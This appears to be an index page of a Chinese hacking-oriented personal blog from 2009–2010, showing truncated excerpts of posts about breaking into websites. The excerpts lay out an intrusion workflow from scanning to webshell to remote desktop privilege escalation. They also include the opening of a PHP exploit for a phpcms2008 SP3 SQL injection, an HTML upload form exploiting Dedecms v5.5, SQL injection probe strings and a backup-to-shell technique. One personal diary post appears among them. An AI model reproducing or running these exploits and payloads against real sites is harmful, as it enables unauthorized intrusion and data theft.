博客_我們的天空、我們的世界。　上演永不退色的華丽↗

1.X-SCAN扫描目标服务器(一般是没有漏洞,收集信息用吧),看看IIS写权限有漏洞吗,用53溢出或者其他0day和溢出工具试试==>手工查看主站漏洞,先用google+阿d批量扫注入,再手工测试漏洞(例如注入,上传,爆库等等),同时用AC4扫(它在注入方面很细致)==获得 WEBSHELL==提权获得3389 (也许有时候把第3条放在第一条前,更合理一些,直接嗅探方便些)。

2.用http://www.seologs.comip-domains.html将主站列同服务器

阅读全文>>

类别：默认分类|评论(0) |浏览(59)

phpcms2008 sp3通杀0day放出

2010-05-11 13:20

文档分类:脚本攻防/web apps
发表时间：2010-5-10 16:39:50
漏洞添加：sitedir
阅读关键字：phpcms2008 sp3 0day

phpcms2008 sp3通杀0day放出
注射漏洞所在处：
yp/company.php?where=%23

EXP如下：

<?php
ini_set("max_execution_time",0);
error_reporting(7);

function usage()
{
     global $argv;
     exit(

阅读全文>>

类别：默认分类|评论(0) |浏览(70)

Dedecms v5.5 上传0Day 转自十六进制~~~

2009-12-11 18:01

http://www.hexsafe.com/

将以下代码直接复制保存为html文件，更改对应URL为目标网址即可利用：

<HTML><HEAD><TITLE>Dedecms v55 RCE Exploit Codz By J</TITLE></HEAD>
<BODY style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By J
---------- <br><br>
<form action=http://www.xxx.com/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-dat

阅读全文>>

类别：默认分类|评论(0) |浏览(75)

SQL注入法攻击一日通--手工注入2

2009-12-07 16:45

四、发现WEB虚拟目录
只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。
一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；
先创建一个临时表：temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;creat

阅读全文>>

类别：默认分类|评论(0) |浏览(61)

手工注入脚本

2009-12-07 16:34

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ’’=’

4.搜索时没过滤参数的’and [查询条件] and ’%25’=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (s

阅读全文>>

类别：默认分类|评论(0) |浏览(56)

手工注入

2009-12-07 16:25

前言：现在的网络，脚本入侵十分的流行，而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜，都会为它那巨大的威力和灵活多变的招式所着迷！正是因为注入攻击的流行，使的市面上的注入工具层出不穷！比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等！这大大方便的小菜们掌握注入漏洞！可是，工具是死的，注入的手法却是活的，能否根据实际情况灵活地构造SQL注入语句，得到自己想要的信息，是[被屏蔽的不受欢迎关键词]高shou与小菜的根本区别！只用工具，而不去管它的原理，是不可能得到提高的，当然，在遇到一些特殊

阅读全文>>

类别：默认分类|评论(0) |浏览(65)

下雪了 . 好冷 .身体冷 .衣服可以穿厚点 .但是心冷了 .! 心可以穿什么 .!

2009-12-07 15:29

心碎的感觉 , 真好 . . . 做的一切努力都白费了 , 那种无力感 ,是那么强烈 , !

阅读全文>>

类别：默认分类|评论(0) |浏览(71)

dbo权限的入侵的各种方法

2009-07-13 14:44

差异备份的流程大概这样：
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--

阅读全文>>

类别：默认分类|评论(0) |浏览(71)

1 [2] [下一页] [尾页]

文章分类

默认分类(19)

文章存档